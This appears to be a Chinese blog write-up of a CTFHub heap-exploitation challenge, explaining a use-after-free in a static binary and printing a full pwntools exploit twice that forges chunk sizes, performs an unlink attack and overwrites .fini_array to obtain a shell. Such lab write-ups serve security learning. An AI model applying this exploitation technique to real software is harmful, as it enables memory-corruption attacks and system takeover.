[CTFHub-技能树]-----House of roman

MCP+Skills 赋能APP渗透逆向,六阶段 Agent 流水线,打通 MCP 工具链实现 APP 安全自动化分析 本文的实现与思路,是对前辈经验和行业方法的一次学习与实践,若其中存在疏漏或不足之处,欢迎批评指正。目前也在继续尝试将这一体系进一步推向真正可落地的自动化方向,供更多安全研究与测试实践参考! 阅读详情

检查

这是一道静态编译的题,没有libc库,所以不能用常规的方法来打

在这里插入图片描述

分析:

直接看漏洞点
在这里插入图片描述
这里free之后没有对指针置空,所以存在double free和UAF漏洞。

思路

.fini_array会在程序结束时调用,一般有2个指针,会依次调用,调用完后才会真正退出。
先利用UAF漏洞,把chunk申请到ptr_size处,修改size的大小,构造堆溢出,利用堆溢出,打unlink,把chunk申请到ptr处,最后篡改**.fini_array**的值,拿到shell

利用

先把前面的代码写好

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
#io = remote("challenge-aa33f598e4074e46.sandbox.ctfhub.com",29732)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23_64.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))


def add(size):
	ru(b"your choice: ")
	sl(b"1")
	ru(b"size: ")
	sl(str(size))

def free(idx):
	ru(b"your choice: ")
	sl(b"2")
	ru(b"index: ")
	sl(str(idx))


def edit(idx,data):
	ru(b"your choice: ")
	sl(b"3")
	ru(b"index: ")
	sl(str(idx))
	ru(b"content: ")
	s(data)

先定义好要用到的地址

fini_array = 0x6CAE88
fake_chunk = 0x6cde70
fake_fd = fake_chunk-0x18
fake_bk = fake_chunk-0x10
ptr_size = 0x6CDEC0

先用UAF把chunk申请到size处。如下图,可以看出来chunk已经申请到size处了,之后伪造size,造成堆溢出

add(0x7f)
add(0x60)
add(0x7f)
free(1)
edit(1,p64(ptr_size))
add(0x60)  #3
add(0x60)	#4

在这里插入图片描述

之后篡改size大小

add(0x80)	#5
add(0x80)	#6
add(0x80)	#7
add(0x10)	#8
edit(4,b"\xff\x00\x00\x00"*4)

结果如下图,size都改成了0xff

之后再利用堆溢出,打unlink,篡改.fini_array

payload = p64(0)+p64(0x81)+p64(fake_fd)+p64(fake_bk)+b"a"*(0x80-4*8)
payload += p64(0x80)+p64(0x90)
edit(6,payload)
free(7)
edit(6,p64(0)*3+p64(fini_array))
edit(6,p64(0x4009AE)*2)
ru(b"your choice: ")
sl(b"4")

最终exp为

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
#io = remote("challenge-aa33f598e4074e46.sandbox.ctfhub.com",29732)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23_64.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))


def add(size):
	ru(b"your choice: ")
	sl(b"1")
	ru(b"size: ")
	sl(str(size))

def free(idx):
	ru(b"your choice: ")
	sl(b"2")
	ru(b"index: ")
	sl(str(idx))


def edit(idx,data):
	ru(b"your choice: ")
	sl(b"3")
	ru(b"index: ")
	sl(str(idx))
	ru(b"content: ")
	s(data)

fini_array = 0x6CAE88
fake_chunk = 0x6cde70
fake_fd = fake_chunk-0x18
fake_bk = fake_chunk-0x10
ptr_size = 0x6CDEC0

add(0x7f)
add(0x60)
add(0x7f)
free(1)
edit(1,p64(ptr_size))
add(0x60)  #3
add(0x60)	#4
add(0x80)	#5
add(0x80)	#6
add(0x80)	#7
add(0x10)	#8
edit(4,b"\xff\x00\x00\x00"*4)

payload = p64(0)+p64(0x81)+p64(fake_fd)+p64(fake_bk)+b"a"*(0x80-4*8)
payload += p64(0x80)+p64(0x90)
edit(6,payload)
free(7)
edit(6,p64(0)*3+p64(fini_array))
edit(6,p64(0x4009AE)*2)
ru(b"your choice: ")
sl(b"4")



itr()
【企业知识助手·Agent 实战】如何运营 Agent 安全:从 eBPF 运行时检测、分级告警到事件响应与复盘的深度实战 核心原理:Agent 安全运营的本质,是把内核、控制面、应用与决策四层信号按 run_id 关联成一条可解释的行为链,让"合法能力被错误使用"在运行时变得可见。关键结论:检测与阻断要共享同一套内核事件语义;遏制的每一级都必须可审计、可回滚;吊销凭据与隔离网络必须同时执行,这是 2026 年真实事件换来的硬规则。落地重点:先观测后阻断,规则进 CI,告警分级用同一把尺子,kill switch 按季度演练,复盘必须回灌成新规则与新基线。 阅读详情

相关推荐

Element-UI全面入门与实战技巧

Element-UI 是一套基于 Vue 2.0 的桌面端组件库,由饿了么前端团队开发并维护。它提供了一系列丰富的 UI 组件,旨在帮助开发者快速构建高效、美观的 Vue 应用程序。Element-UI 是一款遵循 Ant Design 设计规范的 Vue UI 库,它涵盖了从按钮、输入框、选择器到表格、标签、进度条等众多常用的界面元素。Element-UI 的组件不仅功能全面,而且易于定制,使得开发者可以快速实现个性化的页面设计。Element-UI 的特点包括:在使用 Element-UI 之前,需要确

全世界的博客 2863

【我的 PWN 学习手札】House of Roman

一般来说House of Roman会和IO_File结合在一起,并不需要泄露libc,适用于没有回显的场景中。但是笔者还没学到那里,而且本篇也侧重于House of Roman手法本身。所以会泄露libc(为了one_gadget),再结合House of Roman打__malloc_hook。

Mr_Fmnwon的博客 890

【史诗级】详细阐述借助AI实现对Windows蓝屏原因进行精确定位的方法

在解决问题的过程中我决定把这一切都记录下来,并整理出一套通用的方法,方便快速精确定位引起蓝屏的真实原因。今天我的蓝屏代码是0x000000ef,而你或许是遇到另一个蓝屏代码,代码本身代表的含义不是这里的讨论重点,重要的是解决问题的底层逻辑。

sprlightning的博客 1万+

CTFHUB技能树详解(最全、最细、最易懂)

最近闲的无聊,玩玩CTF吧,并把自己的解题思路分享给大家。大佬多指教。

A.SmallWhite的博客 2万+

Intouch间接变量(扩展)

间接变量只是Intouch提供给开发者的便捷方式之一,并不是所有情况都一定要使用间接变量,有时候用条件语句或者内存变量的方式也能起到类似的作用。

weixin_41571357的博客 2168

深入MIPI DSI显示技术栈 (三) DSI vs CSI-2:孪生协议的本质差异

MIPI协议中的DSI与CSI-2存在本质差异:DSI为输出导向协议(Host→Display),用于屏幕控制和画面传输;CSI-2为输入导向协议(Sensor→Host),专攻图像采集。二者在包结构、同步机制、物理层优化等方面均有显著区别:DSI支持命令包和BLLP包,CSI-2具备嵌入式数据包;DSI时钟模式以Burst为主,CSI-2支持Continuous模式。典型场景中,二者协同工作(如手机相机预览),需注意时序同步和延迟控制。设计混合系统时,需合理规划虚拟通道和物理层资源,充分发挥这对&quot

GateWorld的博客 2106

[CTFHub]-技能树----pwn tcache Attack

目前只有我一人解出来,估计是其他大佬不屑于做这样简单的题吧!长话短说,做堆类题一定要亲自动手,重要的事情说三遍。

saulgoodman的博客 417

kubernetes rook 安装 cephfs

ceph root kubernete osd uuid partuuid

天津托的博客 1543

直付通申请资质安全吗?靠谱吗?

风控规则的运行效果要定期复盘,拦截记录、误伤情况、处理时效都要看,规则持续优化,防护效果才能保持,动态调整的风控,比一成不变的规则更可靠,安全保障更到位,动态调整的风控更可靠,更有效,风控常复盘,规则常优化,防护更有效。资金记录的完整保存很重要,流水明细定期归档,账目随时可查,配合日常核对,资金安全尽在掌握,完善的记录习惯,既是风控要求,也是管理规范,长期坚持受益良多,更放心,流水留存好,随时可对账,管理更规范。方向更清晰,资质看清楚,边界问明白,判断更准确。更稳固,职责边界清,配合更默契,安全更有底。

qq_15110143的博客 350

3D视觉引导技术在机器人焊接中的应用

通过对比传统的2D视觉和3D视觉技术在焊接领域的应用差异,探讨了3D视觉引导技术在提高焊接精度、适应不规则工件形状和增强自适应能力方面的优势。本文对3D视觉引导技术在机器人焊接中的应用进行了深入探讨,总结了其在提高焊接精度、适应不规则工件形状和增强自适应能力方面的优势,并通过应用案例展示了其在焊接路径规划、焊缝检测和焊接质量控制等方面的重要作用。1. 提高焊接精度:3D视觉引导技术能够精确测量焊接工件的三维形状和位置,为机器人提供精准的焊接路径规划和跟踪,从而提高焊接精度。三、3D视觉引导技术概述。

2302_79273122的博客 1835

【经验&技巧】DDR仿真中的挑战与解决方案

由于DDR的数据总线具备双向数据传输功能,需要对读写模式进行独立仿真环境的创建,并且分为连续和突发模式,再加之有单端和差分信号、有数据总线和地址总线,需要在数据传输过程中额外注意串扰的影响,并选择合适的驱动和负载以找寻设计裕量与串扰强度之间的平衡,因此,实际操作步骤和分析过程还是较为繁琐耗时的,需要设计者具有足够的耐心。

一只豌豆象的博客 1643

‌7-Zip加密压缩包完整教程:AES-256加密、加密文件名与安全分享指南(2026最新)‌

‌给别人发压缩包,只设密码就够了吗?本文用 2026 最新版 7-Zip 讲透 AES-256 加密原理与实操,手把手教你设置密码、勾选加密文件名、分卷加密与自解压包,并给出强密码标准、密码传递方式和跨设备兼容建议,让敏感资料真正只对指定的人开放。

Helix250的博客 330

采样率转化代码C++(有理倍数,升采样、降采样均可)

【代码】采样率转化(有理倍数,升采样、降采样均可)

goudahai的专栏 547

亚远景 - 无方向盘 L4 车辆批量认证,ASPICE 过程证据成制造商安全举证底座

亚远景分析取消驾驶员兜底后安全责任向制造商集中的趋势,说明规范研发过程、功能安全验证与全生命周期管理为何成为批量认证的举证底座,为自动驾驶企业应对准入合规提供过程建设参考。

yayuanjingkeji的博客 200

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

终端安全平台 V2610 更新复盘:跨平台适配、AI 工具审计能力解析

近期对终端安全管理平台 V2610 版本进行了部署测试,本次版本迭代重点围绕跨平台兼容、AI 工具行为审计、数据防护模块做了调整。本文记录本次新版本的技术改动、功能逻辑、测试过程中遇到的适配问题,供内网安全、终端运维同行参考交流。说明:仅为个人技术测试复盘,不做产品推荐,相关策略落地请结合单位自身安全规范评估。V2610 版本整体偏向解决混合架构内网下的新风险,重点补齐 AI 应用审计、多系统统一管控短板。优势:异构终端管理能力提升,审计链路更完整;

qq_43457377的博客 197

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

Android 开发入门实践(二):Kotlin 空安全,从可空类型到安全访问

延续 NewsApp 项目中的新闻标题练习,记录 Kotlin 安全调用。

Easyhood的博客 281

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

迪康端点安全一体化管理平台核心功能实践:从文档加密到行为审计

本文选取的文档透明加密、U 盘与外设管控、屏幕水印、终端审计、远程运维五项能力,分别对应了数据防护、通道管控、追溯取证和效率提升四个维度。除 U 盘外,平台构建了大范围的外设管理框架,对操作系统底层设备接口进行管控,可开启或禁止使用光驱、打印机、蓝牙、红外、串口、并口、1394、PCMCIA 和便携式设备,杜绝终端的物理外泄渠道。管理员可以使用交互模式、旁观模式、兼容模式、独占输入模式进行远程协助,兼容外部 VNC 服务,并内置远程画板功能,支持在远程画面上标注、圈画、批注,大幅提升排障沟通效率。

qq_43457377的博客 342

DeepAgents框架构建一个带有严格安全护栏的本地 Shell 执行环境。

核心亮点在于:通过精心设计的 System Prompt(系统提示词)强制约束大模型的行为,防止其通过操作系统底层的 Shell 命令绕过框架的虚拟沙箱,从而确保本地物理磁盘的绝对安全。DeepAgents 框架接入 DeepSeek 模型并构建一个带有严格安全护栏的本地 Shell 执行环境。

qq_42092076的博客 68

【2027计算机毕业设计】智慧工地安全巡检:隐患从上报到整改验收,闭环怎么落到表上

安全巡检」这类题,看着像普通的工单系统,其实考的是。老师最常问的一句是:「报了个隐患,然后呢?」——答不上来,这题就废了。拆一个真实项目(Spring Boot + MyBatis + MySQL,14 张表),把这条链讲清楚。

m0_48069349的博客 193

Claude API新版本重大变更与安全升级指南

Anthropic发布ClaudeAPI新版本,首次更新核心版本控制架构,引入多项破坏性变更。新版本移除采样参数(temperature/top_p/top_k),禁止Assistant文档块与用户文本引用,重命名管理与分析字段,并强制使用anthropic-version标头。官方SDK主版本同步升级至2.0.0及以上,身份验证改为Authorization: Bearer。开发者需锁定依赖、扫描代码、重构消息结构、双版本测试,以避免生产环境400错误,确保平滑迁移。

阡陌数智,专注大模型网关与 LLM 工程落地 353

从 NEAR Intents 事件看 NEAR 智能合约安全

2026年9月29日至10月1日,攻击者利用NEAR Intents存款退款处理中的校验缺陷,通过填充代币和恶意receiver合约触发超额退款请求,使回调失败后内部余额未被撤销,造成缺乏资产支持的可花费余额。攻击者据此从BNB Chain上的HOT Bridge金库七笔提现共转出3,865,021 USDT。项目方于10月2日部署修复、10月7日移除存款通知功能,并于同日宣布资金全额归还,后续事后报告确认受影响用户已获补偿。

BlockSec的博客 260

运营商云改数转安全落地实践|融合 4A 与数据安全服务案例

本实践依托保旺达在运营商行业长期沉淀的业务 know-how,以融合 4A 为核心抓手,联动数据安全、AI 安全管控能力,以平台建设 + 专项治理 + 持续运营的模式,匹配运营商云改数转转型节奏,解决异构云网环境下身份权限治理、敏感数据安全、新型 AI 应用风险等核心难题,为同类型省级运营商安全体系建设提供可落地参考。

KKKlucifer的博客 73

安全生产数字化:亘川智城系统五大功能域全流程解析

系统的业务对象覆盖安全生产监管人员、属地安监专员、企业安全负责人、安监执法人员、应急管理专员、隐患派单专员、整改责任人、数据分析专员等多个角色,各角色按职责与状态获得对应操作权限,实现责任到岗、过程留痕、闭环管理。整改台账覆盖待接收、待制定、整改中、待自查、待申请、待验收、已通过、未通过全状态,配套整改完成率、平均整改时长、逾期整改率统计图表。归集法律法规、安全常识、应急技能、事故案例等素材,按类型与行业场景打标签分类,支持权限化发布、浏览与下载量统计,并随政策更新迭代版本。,所有流程资料永久归档留存。

weixin_67440240的博客 81

Day33 XD安全学习笔记--JavaEE应用&SQL 预编译&Filter过滤器&Listener监听器&访问控制

本文介绍了SQL预编译与Filter过滤器、Listener监听器的应用。SQL预编译有效防止注入攻击,相比拼接写法更安全。Filter用于拦截请求与响应,实现权限控制、敏感词过滤等功能,具备初始化、过滤、销毁生命周期;如XssFilter拦截非法参数,AdminFilter通过Cookie验证权限。Listener监听域对象的创建、销毁及属性变化,如Session的创建与销毁,实现系统状态管理。三者协同提升Web应用的安全性与可维护性。

一支蜉蝣的博客 226

提示词工程全景指南:从基本原则到自动化与安全防御

用程序化的方式完成提示词的生成、评估、优化与上线,把"人工反复试"变成"系统自动迭代"。提示词自动化的本质是把提示词当作代码资产来管理:有版本、有测试、有灰度、有回滚。未来它会与模型微调、检索增强、Agent 编排进一步融合,边界逐渐模糊。攻击者通过精心构造的输入,诱导模型偏离既定职责。信息泄露:套取系统提示词、内部知识库内容、其他用户数据。行为越界:让模型执行被禁止的操作,如调用高危工具、输出违规内容。功能滥用:把模型当作免费算力或跳板,用于批量生成垃圾内容、绕过业务限制。

简单的记录一下 351

[黎阳之光] 地铁站台安全视频孪生实战教程:越线检测、客流预警与应急联动一次讲透

站台是地铁安全风险最集中的地方:乘客越过黄线、客流瞬间涌入、扶梯口拥堵、突发晕倒,每一类事件留给处置的时间都以秒计。本文讲一套站台安全视频孪生实战方案——用视频分析实时发现风险,用孪生画面定位事件位置,再自动联动广播、屏蔽门与应急流程。内容是简易模型与简化版方案,给出可复用的检测逻辑、阈值与联动配置;真实车站的安全联动涉及信号、屏蔽门与消防系统的专业接口与评审,完整项目方案请联系黎阳之光公司。

m0_75019831的博客 165
上一篇: [CTFHub-技能树]-----House of spirit
下一篇: CTFHub[技能树]-----House of orange
saulgoodman-q
博客等级 码龄6年 828粉丝 52原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值